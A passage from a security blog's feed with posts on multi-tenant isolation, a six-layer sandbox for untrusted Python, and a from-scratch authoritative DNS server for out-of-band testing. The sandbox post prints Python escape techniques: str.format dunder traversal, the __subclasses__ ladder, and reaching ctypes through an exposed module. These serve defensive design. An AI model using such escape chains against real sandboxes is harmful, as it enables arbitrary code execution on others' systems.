<li><strong>Fail closed.</strong> A tenant query with no known tenant must raise, never run unfiltered. This one decision converts &ldquo;silent cross-tenant leak&rdquo; into &ldquo;loud 500 at the exact line.&rdquo;</li>
<li><strong>Pin tenant identity on the <code>Session</code>, not a <code>ContextVar</code></strong> — FastAPI&rsquo;s sync-dep threadpool makes contextvars silently empty across the dependency chain.</li>
<li><strong>Make every cross-tenant bypass explicit and grep-able.</strong> You can&rsquo;t review what looks identical to normal code; you can review a named list.</li>
</ul>
<p>This is &ldquo;Phase 1&rdquo; — application-layer defense in depth. The heavier hammer, Postgres row-level security (RLS) enforced in the database regardless of which ORM or raw query runs, is a natural &ldquo;Phase 2.&rdquo; But letting the app-layer version burn in first is the right order: it&rsquo;s reversible, debuggable, and catches the bug class today. Next in the series: back to the wire, with <a href="/2026/09/ldap-ber-listener-from-scratch/">a hand-rolled LDAP listener</a> — the mail-less pillar of Log4Shell.</p>
<hr>
<p><em>This is part of a series I&rsquo;m writing on building OAST infrastructure from scratch — <a href="/2026/07/jndi-reference-deserialization/">hand-rolling a JNDI Reference</a>, <a href="/2026/07/authoritative-dns-from-scratch/">an authoritative DNS server</a>, and <a href="/2026/07/sandboxing-untrusted-python/">sandboxing untrusted Python</a> for the response logic. This post added the multi-tenant safety net; next it&rsquo;s back to the wire with <a href="/2026/09/ldap-ber-listener-from-scratch/">a hand-rolled LDAP listener</a> — the mail-less pillar of Log4Shell.</em></p>
]]></content:encoded></item><item><title>Six layers to sandbox untrusted Python — and the escape I missed</title><link>https://chs.us/2026/07/sandboxing-untrusted-python/</link><pubDate>Wed, 15 Jul 2026 12:00:00 +0000</pubDate><author>carl.sampson@gmail.com (Carl Sampson)</author><guid>https://chs.us/2026/07/sandboxing-untrusted-python/</guid><description>Running user-supplied Python in production: the six independent layers that contain it, why each exists, and the AST bypass that slipped through.</description><category>Security</category><category>Sandbox</category><category>Python</category><category>Seccomp</category><category>Landlock</category><category>Appsec</category><category>Oast</category><content:encoded><![CDATA[<blockquote>
<p>Third in a series on building out-of-band application security testing (OAST) infrastructure from scratch. <a href="/2026/07/jndi-reference-deserialization/">Post 1</a> hand-rolled a JNDI Reference; <a href="/2026/07/authoritative-dns-from-scratch/">post 2</a> built the authoritative DNS server. This one is the riskiest feature in the whole platform: letting users run their own Python, in production, to shape the responses the listeners send back.</p>
</blockquote>
<p>The feature is simple to state and terrifying to implement: a user writes a Python function, and when a callback lands on their host, the server runs that function to decide what to answer. DNS rebinding, conditional payloads by source IP, crafting a JNDI reference on the fly — all of it wants <em>user-supplied logic in the response path</em>. Which means <strong>executing untrusted Python on your production box.</strong></p>
<p>&ldquo;Just use <code>eval</code> with a restricted <code>__builtins__</code>&rdquo; is how people get owned. CPython&rsquo;s object graph is a hall of mirrors: from almost any object you can walk <code>.__class__.__bases__</code> up to <code>object</code>, back down <code>.__subclasses__()</code> to something dangerous, and out to <code>os.system</code>. A serious sandbox assumes <strong>every single layer will be bypassed</strong> and stacks independent ones so that an escape from one lands in the next. Here are the six this platform uses, outermost first, and then the bug that walked through the early ones.</p>
<h2 id="why-one-layer-is-never-enough">Why one layer is never enough</h2>
<p>The thing that makes this tractable is that each layer answers a <em>different</em> question.</p>
<table>
  <thead>
      <tr>
          <th>Layer</th>
          <th>Question it answers</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>0. uid drop</td>
          <td>If code escapes Python entirely, what files/sockets can the <em>kernel</em> let it touch?</td>
      </tr>
      <tr>
          <td>1. AST allowlist</td>
          <td>Can this code even <em>express</em> a dangerous operation?</td>
      </tr>
      <tr>
          <td>2. rlimits</td>
          <td>Can it exhaust CPU / memory / processes / FDs?</td>
      </tr>
      <tr>
          <td>3. wallclock kill</td>
          <td>Can it hang forever?</td>
      </tr>
      <tr>
          <td>4. restricted builtins</td>
          <td>Can it reach dangerous callables by name?</td>
      </tr>
      <tr>
          <td>5. seccomp</td>
          <td>If it gets to call a syscall, which syscalls are allowed?</td>
      </tr>
      <tr>
          <td>6. Landlock</td>
          <td>If it reaches the FS layer, which paths are visible?</td>
      </tr>
  </tbody>
</table>
<p>A real exploit has to beat <em>all</em> of them in sequence. Miss one and you still have five. That&rsquo;s the entire design philosophy; everything else is detail.</p>
<h2 id="layer-0-a-separate-uid-the-kernel-backstop">Layer 0: a separate uid (the kernel backstop)</h2>
<p>Each modifier runs in a <strong>fresh subprocess</strong>, and that subprocess drops to a dedicated unprivileged user (<code>oob-sandbox</code> — no home, no shell, no group membership) before it runs a line of user code. The trick is <em>when</em>: Python&rsquo;s <code>subprocess</code> does the <code>setresuid</code>/<code>setresgid</code> in the forked child <strong>before <code>exec</code></strong>, i.e. before the worker installs the seccomp filter that later <em>blocks</em> the setuid family. So the worker can&rsquo;t climb back out — by the time it could call <code>setuid</code>, seccomp forbids it.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">proc</span> <span class="o">=</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">run</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">[</span><span class="n">sys</span><span class="o">.</span><span class="n">executable</span><span class="p">,</span> <span class="s2">&#34;-m&#34;</span><span class="p">,</span> <span class="s2">&#34;app.sandbox.worker&#34;</span><span class="p">],</span>
</span></span><span class="line"><span class="cl">    <span class="nb">input</span><span class="o">=</span><span class="n">payload</span><span class="p">,</span> <span class="n">capture_output</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span> <span class="n">timeout</span><span class="o">=</span><span class="n">parent_wall</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">user</span><span class="o">=</span><span class="n">sandbox_user</span><span class="p">,</span> <span class="n">group</span><span class="o">=</span><span class="n">sandbox_group</span><span class="p">,</span>   <span class="c1"># drop happens pre-exec in the child</span>
</span></span><span class="line"><span class="cl">    <span class="n">env</span><span class="o">=</span><span class="n">_minimal_env</span><span class="p">(),</span> <span class="n">close_fds</span><span class="o">=</span><span class="kc">True</span><span class="p">,</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span></code></pre></div><p>Why this is the <em>outermost</em> layer: even if layers 1–6 all failed and the code achieved arbitrary native execution, the kernel still won&rsquo;t let uid <code>oob-sandbox</code> read the service account&rsquo;s <code>.env</code> (mode 600) or open the database socket. It&rsquo;s the &ldquo;assume total compromise&rdquo; floor. It needs <code>CAP_SETUID</code>/<code>CAP_SETGID</code> on the service, and degrades gracefully (with a one-time warning) to no-drop on an unprivileged dev box, so the other five still apply in development.</p>
<h2 id="layer-1-ast-allowlist-the-cheapest-strongest-filter">Layer 1: AST allowlist (the cheapest, strongest filter)</h2>
<p>Before the code ever runs, it&rsquo;s parsed to an AST and walked. No <code>import</code>. No <code>exec</code>/<code>eval</code>. No attribute access to dunder names (<code>__class__</code>, <code>__globals__</code>, <code>__subclasses__</code>, …). If the code <em>can&rsquo;t say the dangerous thing</em>, no runtime defense is even tested. This is the highest-leverage layer because it&rsquo;s static: it rejects whole categories of attack before a single instruction executes. (The worker re-validates parent-side validation rather than trusting it — the check is cheap and the assumption &ldquo;the parent already checked&rdquo; is exactly how layers rot.)</p>
<h2 id="layers-2--3-resource-limits-and-a-wallclock-kill">Layers 2 &amp; 3: resource limits and a wallclock kill</h2>
<p>Static analysis says nothing about <code>while True</code> or <code>b&quot;x&quot; * 10**12</code>. So the worker sets POSIX rlimits and an alarm:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">resource</span><span class="o">.</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">RLIMIT_CPU</span><span class="p">,</span>    <span class="p">(</span><span class="n">cpu</span><span class="p">,</span> <span class="n">cpu</span><span class="p">))</span>      <span class="c1"># CPU seconds</span>
</span></span><span class="line"><span class="cl"><span class="n">resource</span><span class="o">.</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">RLIMIT_AS</span><span class="p">,</span>     <span class="p">(</span><span class="n">mem</span><span class="p">,</span> <span class="n">mem</span><span class="p">))</span>      <span class="c1"># address space</span>
</span></span><span class="line"><span class="cl"><span class="n">resource</span><span class="o">.</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">RLIMIT_NOFILE</span><span class="p">,</span> <span class="p">(</span><span class="mi">32</span><span class="p">,</span> <span class="mi">32</span><span class="p">))</span>        <span class="c1"># file descriptors</span>
</span></span><span class="line"><span class="cl"><span class="n">resource</span><span class="o">.</span><span class="n">setrlimit</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">RLIMIT_NPROC</span><span class="p">,</span>  <span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">))</span>          <span class="c1"># no fork()</span>
</span></span><span class="line"><span class="cl"><span class="n">signal</span><span class="o">.</span><span class="n">signal</span><span class="p">(</span><span class="n">signal</span><span class="o">.</span><span class="n">SIGALRM</span><span class="p">,</span> <span class="n">_on_alarm</span><span class="p">);</span> <span class="n">signal</span><span class="o">.</span><span class="n">alarm</span><span class="p">(</span><span class="n">wall</span><span class="p">)</span>  <span class="c1"># wallclock</span>
</span></span></code></pre></div><p><code>RLIMIT_NPROC = 0</code> is a quietly important one — it forbids <code>fork()</code>, so even a hypothetical escape can&rsquo;t spawn a helper process. And there&rsquo;s a real gotcha I&rsquo;ll flag because it cost time: <code>RLIMIT_FSIZE = 0</code> <em>looks</em> like a great &ldquo;no writing files&rdquo; control, but it makes the kernel <code>SIGXFSZ</code>-kill the process on <em>any</em> write to a regular file — including the worker&rsquo;s own stderr going to journald. File writes are already dead at the AST layer, so don&rsquo;t reach for <code>FSIZE=0</code>. The parent <em>also</em> keeps its own wallclock watchdog (<code>subprocess.run(timeout=...)</code>) as a backstop in case the in-process <code>SIGALRM</code> is somehow defeated. Two independent timeouts for the same reason there are six layers.</p>
<h2 id="layer-4-restricted-builtins">Layer 4: restricted builtins</h2>
<p>User code gets a hand-picked <code>__builtins__</code> — <code>len</code>, <code>range</code>, <code>str</code>, <code>dict</code>, a few exception types — and nothing else. No <code>open</code>, no <code>__import__</code>, no <code>getattr</code>, no <code>compile</code>. Combined with the AST ban on dunder access, the usual <code>().__class__.__bases__[0].__subclasses__()</code> ladder has no first rung.</p>
<h2 id="layers-5--6-seccomp-and-landlock-kernel-enforced">Layers 5 &amp; 6: seccomp and Landlock (kernel-enforced)</h2>
<p>The last two stop assuming anything about Python and drop to the kernel:</p>
<ul>
<li><strong>seccomp</strong> installs a syscall filter that <code>EPERM</code>s everything an escape chain loves and a normal modifier never needs: the whole network family (<code>socket</code>/<code>connect</code>/<code>sendto</code>/…), process creation (<code>fork</code>/<code>execve</code>/<code>ptrace</code>), namespace and privilege ops (<code>setns</code>/<code>unshare</code>/<code>setuid</code>/<code>mount</code>), and kernel-feature surfaces (<code>bpf</code>/<code>init_module</code>/<code>perf_event_open</code>). It defaults to <em>allow</em> (so it doesn&rsquo;t break the Python runtime&rsquo;s <code>futex</code>/<code>mmap</code>/<code>brk</code>) and explicitly denies the dangerous list.</li>
<li><strong>Landlock</strong> installs a ruleset that denies <em>all</em> filesystem access at the kernel level — so even a code path that reaches <code>open(2)</code> through some cpython/ctypes internal the AST never saw finds no readable paths.</li>
</ul>
<p>Both are best-effort (if the kernel lacks support they no-op) precisely <em>because</em> they&rsquo;re defense-in-depth — their failure can&rsquo;t weaken layers 0–4, which still stand.</p>
<h2 id="the-escape-i-missed-strformat-is-a-getattr-in-disguise">The escape I missed: <code>str.format</code> is a getattr in disguise</h2>
<p>Now the war story. You can copy the layers above; this is the part I actually learned something from.</p>
<p>The AST layer banned attribute access to dunder names. I was proud of it. And it had a hole, because <strong><code>str.format</code> performs attribute and index access at <em>runtime</em>, driven by the format string</strong> — which the AST never inspects, because it&rsquo;s just a string literal or, worse, a value pulled from the request. Consider:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="s2">&#34;</span><span class="si">{0.__class__}</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">format</span><span class="p">(</span><span class="n">some_object</span><span class="p">)</span>
</span></span></code></pre></div><p><code>str.format</code> parses <code>0.__class__</code>, does a <em>runtime</em> <code>getattr(some_object, &quot;__class__&quot;)</code>, and hands you the class — the exact dunder traversal the AST forbids syntactically, smuggled through a method call on a string. <code>format_map</code> is the same gun with a different grip. From there it&rsquo;s the classic climb to <code>object.__subclasses__()</code> and out. The static check inspected the <em>code</em>; the attack lived in <em>data the code formatted</em>.</p>
<p>The fix was two-fold and it&rsquo;s instructive:</p>
<ol>
<li>Add <code>format</code> and <code>format_map</code> to the disallowed-attribute set (you can&rsquo;t call what you can&rsquo;t name), and</li>
<li>drop <code>format</code> from the builtins.</li>
</ol>
<p>But the deeper lesson generalizes far past this one bug: <strong>a static allowlist only constrains what the code <em>says</em>, not what the code <em>does at runtime with data</em>.</strong> Any primitive that performs reflection driven by a runtime value — <code>str.format</code>, <code>%</code>-formatting with <code>__getitem__</code> tricks, template engines, <code>getattr</code> wrappers — is a hole in an AST allowlist by construction. You have to enumerate those reflection primitives explicitly. That&rsquo;s also <em>why</em> layers 5 and 6 exist: even granting that I&rsquo;d miss exactly this kind of thing, seccomp and Landlock and the uid drop mean the missed escape reaches a class with no subprocesses, no sockets, no files, and no privileges. The bug was real; it was also contained.</p>
<h2 id="a-smaller-related-decision-expose-callables-never-modules">A smaller, related decision: expose callables, never modules</h2>
<p>One design choice in the same spirit, because it&rsquo;s a trap people walk into when they try to make a restricted environment <em>useful</em>. Modifiers get a helper namespace — <code>json</code>, <code>re</code>, <code>base64</code>, <code>hashlib</code>, URL parsing. The tempting implementation is to hand over the modules:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">ctx</span><span class="o">.</span><span class="n">lib</span><span class="o">.</span><span class="n">json</span> <span class="o">=</span> <span class="n">json</span>     <span class="c1"># DON&#39;T</span>
</span></span></code></pre></div><p>That&rsquo;s a full AST bypass. <code>urllib.parse</code> does <code>import sys</code> internally, so <code>ctx.lib.url.sys.modules[&quot;ctypes&quot;].pythonapi.PyRun_SimpleString</code> is arbitrary native Python — reachable purely through attribute access on a &ldquo;helpful&rdquo; module object. The fix is to expose <strong>only the specific callables and constants</strong>, wrapped so there&rsquo;s no navigating from a function back to its module:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">ctx</span><span class="o">.</span><span class="n">lib</span><span class="o">.</span><span class="n">json</span> <span class="o">=</span> <span class="n">Ns</span><span class="p">({</span><span class="s2">&#34;loads&#34;</span><span class="p">:</span> <span class="n">json</span><span class="o">.</span><span class="n">loads</span><span class="p">,</span> <span class="s2">&#34;dumps&#34;</span><span class="p">:</span> <span class="n">json</span><span class="o">.</span><span class="n">dumps</span><span class="p">,</span> <span class="o">...</span><span class="p">})</span>  <span class="c1"># callables only</span>
</span></span></code></pre></div><p>A function&rsquo;s <code>__globals__</code>/<code>__module__</code> are dunder-blocked at the AST layer, so <code>ctx.lib.json.dumps.__globals__[&quot;sys&quot;]</code> is a dead end. Every time I&rsquo;ve made this sandbox more useful I&rsquo;ve had to stop and ask what new surface I just handed over, and &ldquo;give them the module&rdquo; is the most natural and most dangerous version of that mistake.</p>
<h2 id="takeaways">Takeaways</h2>
<ul>
<li><strong>Stack independent layers; assume each one fails.</strong> The value isn&rsquo;t any single barrier — it&rsquo;s that an escape from one lands inside the next. Six here: uid drop, AST allowlist, rlimits, wallclock, restricted builtins, seccomp + Landlock.</li>
<li><strong>A static AST allowlist constrains syntax, not runtime reflection.</strong> <code>str.format</code>/<code>format_map</code>/<code>%</code> and friends do attribute access driven by <em>data</em>. Enumerate and ban every reflection primitive, or assume one will get through — and make sure the kernel layers catch it when it does.</li>
<li><strong>Usefulness is the enemy of containment.</strong> Exposing a stdlib <em>module</em> leaks <code>sys</code> and thus arbitrary execution. Expose individual callables, never the module object.</li>
<li><strong>Run it as a throwaway user in a throwaway process.</strong> Fresh subprocess + uid drop means the worst case is bounded by the kernel, not by how clever your Python sandbox was.</li>
</ul>
<p>That closes the core trilogy: catch the callback (DNS), understand the payload (JNDI), and respond safely with untrusted logic (the sandbox). The rest of the series goes wider — <a href="/2026/07/multi-tenant-isolation-defense-in-depth/">multi-tenant isolation as defense-in-depth</a>, the SMTP/<a href="/2026/09/ldap-ber-listener-from-scratch/">LDAP</a>/RMI listeners, and layered DoS protection — at the same wire-level depth.</p>
<hr>
<p><em>This is part of a series I&rsquo;m writing on building OAST infrastructure from scratch — <a href="/2026/07/jndi-reference-deserialization/">hand-rolling a JNDI Reference</a>, <a href="/2026/07/authoritative-dns-from-scratch/">an authoritative DNS server</a>, and this sandboxed Python runtime for the response logic. Next the series goes wider: <a href="/2026/07/multi-tenant-isolation-defense-in-depth/">multi-tenant isolation</a>, the SMTP/<a href="/2026/09/ldap-ber-listener-from-scratch/">LDAP</a>/RMI listeners, and layered DoS protection — at the same wire-level depth.</em></p>
]]></content:encoded></item><item><title>Building an authoritative DNS server in ~200 lines</title><link>https://chs.us/2026/07/authoritative-dns-from-scratch/</link><pubDate>Wed, 08 Jul 2026 12:00:00 +0000</pubDate><author>carl.sampson@gmail.com (Carl Sampson)</author><guid>https://chs.us/2026/07/authoritative-dns-from-scratch/</guid><description>A from-scratch authoritative DNS server for an OAST platform: wildcards, apex records, deliverable MX, ACME challenges, and the subtleties that bite.</description><category>Security</category><category>Dns</category><category>Networking</category><category>Oast</category><category>Python</category><category>Dnslib</category><category>Infrastructure</category><content:encoded><![CDATA[<blockquote>
<p>Second in a series on building out-of-band application security testing (OAST) infrastructure from scratch. The <a href="/2026/07/jndi-reference-deserialization/">first post</a> hand-rolled a JNDI Reference byte by byte. This one is gentler but just as load-bearing: to catch a DNS callback, you have to <em>be</em> the nameserver for a zone.</p>
</blockquote>
<p>I&rsquo;ve leaned on Burp Collaborator and interactsh for years without once thinking about what&rsquo;s under them. Building my own OAST platform was the thing that finally made me look — and the piece everyone treats as magic, the DNS side, turned out to be the smallest part of it. Every OAST tool — those two, this one — rests on one capability: you are the authoritative nameserver for a domain, and you answer every query under it, no matter how weird. When a vulnerable app exfiltrates data as <code>whoami-output.&lt;your-host&gt;.example.net</code>, that DNS query travels the resolver chain to <em>your</em> server, and the query itself is the signal. No HTTP needed; DNS alone is the side channel.</p>
<p>So the core of an OAST platform is a catch-all authoritative DNS server. You don&rsquo;t need BIND. You need a UDP/TCP socket, a DNS message parser, and about 200 lines of logic. Here&rsquo;s the whole thing, built on <code>dnslib</code> (which does wire parsing so you can think in records, not bytes).</p>
<h2 id="what-authoritative-actually-means-on-the-wire">What &ldquo;authoritative&rdquo; actually means on the wire</h2>
<p>Three things distinguish an authoritative answer from a recursive resolver&rsquo;s:</p>
<ol>
<li><strong>The <code>aa</code> (authoritative answer) bit is set</strong> in the response header. You&rsquo;re saying &ldquo;I am the source of truth for this zone,&rdquo; not &ldquo;I looked it up for you.&rdquo;</li>
<li><strong>You answer for names in your zone and refuse everything else.</strong> A query for a name you&rsquo;re not authoritative for gets <code>REFUSED</code>, not a recursive lookup.</li>
<li><strong>You serve the zone&rsquo;s <code>SOA</code> and <code>NS</code> records</strong> so the rest of the DNS system believes you.</li>
</ol>
<p>With <code>dnslib</code>, the skeleton is a <code>BaseResolver</code> subclass with a <code>resolve(request, handler)</code> that returns a <code>DNSRecord</code>. Everything below lives in that method.</p>
<h2 id="step-1-is-this-query-even-mine">Step 1: is this query even mine?</h2>
<p>The first decision is zone matching. You&rsquo;re authoritative for one or more zones (say <code>example.net</code>); a query is yours if its name equals a zone or ends in <code>.&lt;zone&gt;</code>. Longest-match if you serve several:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_match_zone</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">qname</span><span class="p">:</span> <span class="nb">str</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="nb">str</span> <span class="o">|</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">best</span> <span class="o">=</span> <span class="kc">None</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">z</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">zones</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">qname</span> <span class="o">==</span> <span class="n">z</span> <span class="ow">or</span> <span class="n">qname</span><span class="o">.</span><span class="n">endswith</span><span class="p">(</span><span class="s2">&#34;.&#34;</span> <span class="o">+</span> <span class="n">z</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="n">best</span> <span class="ow">is</span> <span class="kc">None</span> <span class="ow">or</span> <span class="nb">len</span><span class="p">(</span><span class="n">z</span><span class="p">)</span> <span class="o">&gt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">best</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">                <span class="n">best</span> <span class="o">=</span> <span class="n">z</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">best</span>
</span></span></code></pre></div><p>Out of zone → set <code>REFUSED</code> and return. In zone → set the <code>aa</code> bit and start answering:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">matched_zone</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">_match_zone</span><span class="p">(</span><span class="n">qname</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">matched_zone</span> <span class="ow">is</span> <span class="kc">None</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reply</span><span class="o">.</span><span class="n">header</span><span class="o">.</span><span class="n">rcode</span> <span class="o">=</span> <span class="n">RCODE</span><span class="o">.</span><span class="n">REFUSED</span>
</span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reply</span><span class="o">.</span><span class="n">header</span><span class="o">.</span><span class="n">aa</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="o">...</span>
</span></span></code></pre></div><p>That <code>aa = 1</code> is the line I forget every time I come back to this code. Without it, some resolvers treat your answer as non-authoritative and behave oddly — and I&rsquo;ve burned more than one debugging session before remembering it&rsquo;s one bit that changes everything.</p>
<h2 id="step-2-the-apex-the-zones-own-name">Step 2: the apex (the zone&rsquo;s own name)</h2>
<p>A query for the bare zone name (<code>example.net</code> itself) needs the records that make you a real nameserver:</p>
<ul>
<li><strong><code>SOA</code></strong> — start of authority: primary NS, admin email, and the five timers (serial, refresh, retry, expire, minimum). The serial just needs to monotonically increase; Unix time is a fine, lazy choice that fits in a uint32 until 2106:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_soa_serial</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">int</span><span class="p">(</span><span class="n">time</span><span class="o">.</span><span class="n">time</span><span class="p">())</span>
</span></span></code></pre></div></li>
<li><strong><code>NS</code></strong> — your nameserver hostnames. These have to match the glue records at your registrar.</li>
<li><strong><code>A</code></strong> — pointing the apex at your box, so <code>http://example.net</code> resolves to you too.</li>
<li><strong><code>MX</code></strong> — so mail is deliverable (more on this below).</li>
</ul>
<p>And the subtlety that trips everyone: <strong>NODATA</strong>. If the name exists but the queried <em>type</em> doesn&rsquo;t (e.g. someone asks for <code>AAAA</code> at your apex and you have no v6), you do <strong>not</strong> return <code>NXDOMAIN</code> and you do <strong>not</strong> return empty-and-silent. You return <code>NOERROR</code> with <strong>the SOA in the authority section</strong>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="ow">not</span> <span class="n">reply</span><span class="o">.</span><span class="n">rr</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">reply</span><span class="o">.</span><span class="n">add_auth</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_build_soa_rr</span><span class="p">(</span><span class="n">matched_zone</span><span class="p">))</span>
</span></span></code></pre></div><p>That SOA-in-authority is how a resolver learns &ldquo;this name is real, that record type just isn&rsquo;t, and here&rsquo;s how long to cache the negative answer.&rdquo; Skip it and you get inconsistent caching and slow retries.</p>
<h2 id="step-3-the-wildcard--answer-anything-under-the-zone">Step 3: the wildcard — answer <em>anything</em> under the zone</h2>
<p>This is the OAST heart. For <em>any</em> name under your zone — <code>whatever.user-host.example.net</code>, <code>a.b.c.d.user-host.example.net</code>, names you&rsquo;ve never seen — you answer an <code>A</code> record pointing at your listener IPs:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_build_wildcard_a_rrs</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">qname</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="n">RR</span><span class="p">(</span><span class="n">qname</span><span class="p">,</span> <span class="n">QTYPE</span><span class="o">.</span><span class="n">A</span><span class="p">,</span> <span class="n">ttl</span><span class="o">=</span><span class="n">DNS_DEFAULT_TTL</span><span class="p">,</span> <span class="n">rdata</span><span class="o">=</span><span class="n">A</span><span class="p">(</span><span class="n">ip</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">            <span class="k">for</span> <span class="n">ip</span> <span class="ow">in</span> <span class="n">LISTENER_IPS</span><span class="p">]</span>
</span></span></code></pre></div><p>You&rsquo;re not looking anything up in a database to decide <em>whether</em> to answer — you answer everything, because the whole point is to catch callbacks to names the attacker invented on the fly. (Whose host it belongs to — <em>attribution</em> — happens separately, by matching the rightmost meaningful label against your claimed-host table, and it&rsquo;s fine for that to find nothing: an unattributed hit is still a captured hit.)</p>
<p>The same wildcard logic answers <code>MX</code> for every name, so <code>anything@user-host.example.net</code> is deliverable — the sending mail server looks up MX, gets your mail host (covered by the same wildcard A), and connects to your SMTP sink on port 25:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">_build_mx_rrs</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">qname</span><span class="p">,</span> <span class="n">zone</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="n">target</span> <span class="o">=</span> <span class="sa">f</span><span class="s2">&#34;mail.</span><span class="si">{</span><span class="n">zone</span><span class="si">}</span><span class="s2">.&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">[</span><span class="n">RR</span><span class="p">(</span><span class="n">qname</span><span class="p">,</span> <span class="n">QTYPE</span><span class="o">.</span><span class="n">MX</span><span class="p">,</span> <span class="n">ttl</span><span class="o">=</span><span class="n">DNS_DEFAULT_TTL</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">               <span class="n">rdata</span><span class="o">=</span><span class="n">MX</span><span class="p">(</span><span class="n">target</span><span class="p">,</span> <span class="bp">self</span><span class="o">.</span><span class="n">mx_priority</span><span class="p">))]</span>
</span></span></code></pre></div><p>One wildcard, three callback channels (DNS, HTTP, email) all reachable at the same host label.</p>
<h2 id="step-4-answer-your-own-acme-challenges-the-neat-trick">Step 4: answer your own ACME challenges (the neat trick)</h2>
<p>This is my favorite part of the whole platform — a genuinely satisfying bit of bootstrapping. You want a wildcard TLS cert for <code>*.example.net</code> so the HTTPS listener works for every host. Let&rsquo;s Encrypt issues wildcard certs only via the <strong>DNS-01</strong> challenge: prove you control the zone by publishing a specific <code>TXT</code> record at <code>_acme-challenge.example.net</code>.</p>
<p>But you <em>are</em> the zone&rsquo;s DNS server. So you answer the challenge straight out of a table that your cert-renewal hook writes to:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="k">if</span> <span class="n">qtype</span> <span class="ow">in</span> <span class="p">(</span><span class="s2">&#34;TXT&#34;</span><span class="p">,</span> <span class="s2">&#34;ANY&#34;</span><span class="p">)</span> <span class="ow">and</span> <span class="n">qname</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s2">&#34;_acme-challenge.&#34;</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">value</span> <span class="ow">in</span> <span class="bp">self</span><span class="o">.</span><span class="n">_lookup_acme_challenges</span><span class="p">(</span><span class="n">qname</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">reply</span><span class="o">.</span><span class="n">add_answer</span><span class="p">(</span><span class="n">RR</span><span class="p">(</span><span class="n">qname_dot</span><span class="p">,</span> <span class="n">QTYPE</span><span class="o">.</span><span class="n">TXT</span><span class="p">,</span> <span class="n">ttl</span><span class="o">=</span><span class="mi">0</span><span class="p">,</span> <span class="n">rdata</span><span class="o">=</span><span class="n">TXT</span><span class="p">(</span><span class="n">value</span><span class="p">)))</span>
</span></span></code></pre></div><p>certbot&rsquo;s hook drops the challenge value into a row; your DNS server serves it; Let&rsquo;s Encrypt checks it; you get a wildcard cert — all against infrastructure you already run. No external DNS provider API, no plugin. The server validates its own identity to the CA.</p>
